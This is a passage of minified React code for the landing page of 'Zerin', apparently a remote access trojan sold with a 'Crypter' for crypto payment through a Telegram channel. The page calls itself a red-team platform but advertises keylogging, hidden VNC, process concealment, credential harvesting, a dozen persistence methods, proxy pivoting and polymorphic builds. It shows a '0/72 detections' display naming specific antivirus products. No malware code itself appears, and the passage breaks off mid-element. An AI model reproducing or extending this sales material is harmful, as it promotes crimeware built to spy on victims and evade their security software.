0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],TA=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function zs({value:e,label:t,suffix:n="",prefix:r=""}){const i=p.useRef(null),a=p.useRef(null);return p.useEffect(()=>{const o=i.current,l=a.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const m=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=m,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),s.jsxs("div",{ref:i,className:"text-center",children:[s.jsxs("div",{ref:a,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),s.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const MA=p.memo(function({name:t,delay:n}){return s.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[s.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),s.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[s.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),LA=p.memo(function({feature:t,index:n}){return s.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),s.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),s.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),s.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),s.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function IA(){const e=_A("Adversary Simulation. Red Team Operations.",45,600),[t,n]=p.useState(!1),[r,i]=p.useState(null),[a,o]=p.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=p.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);p.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=p.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(AA,{}),a&&s.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[s.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[s.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),s.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[s.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),s.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),s.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),s.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",s.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(ot,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(ot,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(ot,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),s.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),s.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[s.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),s.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),s.jsx("div",{className:"h-8 mb-8",children:s.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[s.jsx("span",{ref:e.spanRef}),s.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),s.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),s.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[s.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Access"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(ot,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),s.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),s.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),s.jsx("section",{className:"relative z-10 py-28 px-6",children:s.jsxs("div",{className:"max-w-5xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-14",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",s.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),s.jsxs("div",{children:[s.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),s.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),s.jsxs("div",{className:"text-right",children:[s.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),s.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),s.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),s.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),s.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:TA.map((u,d)=>s.jsx(MA,{name:u,delay:d*60},u))})]}),s.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>s.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[s.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:s.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),s.jsxs("div",{children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:s.jsx("div",{className:"max-w-5xl mx-auto",children:s.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),s.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),s.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",s.jsx("span",{className:"text-zerin-accent",children:"active"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",s.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:s.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),s.jsxs("div",{children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),s.jsx("section",{className:"relative z-10 py-24 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),s.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:OA.map((u,d)=>s.jsx(LA,{feature:u,index:d},u.tag))})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:s.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[s.jsx(zs,{value:256,suffix:"-bit",label:"Encryption"}),s.jsx(zs,{value:12,suffix:"",label:"Persist Methods"}),s.jsx(zs,{value:100,suffix:"%",label:"C2 Uptime"}),s.jsx(zs,{value:0,suffix:"",label:"Disk Artifacts"}),s.jsx(zs,{value:48,suffix:"",label:"Modules"})]})}),s.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),s.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[s.jsx("div",{className:"group relative",children:s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:s.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),s.jsxs("div",{className:"group relative",children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 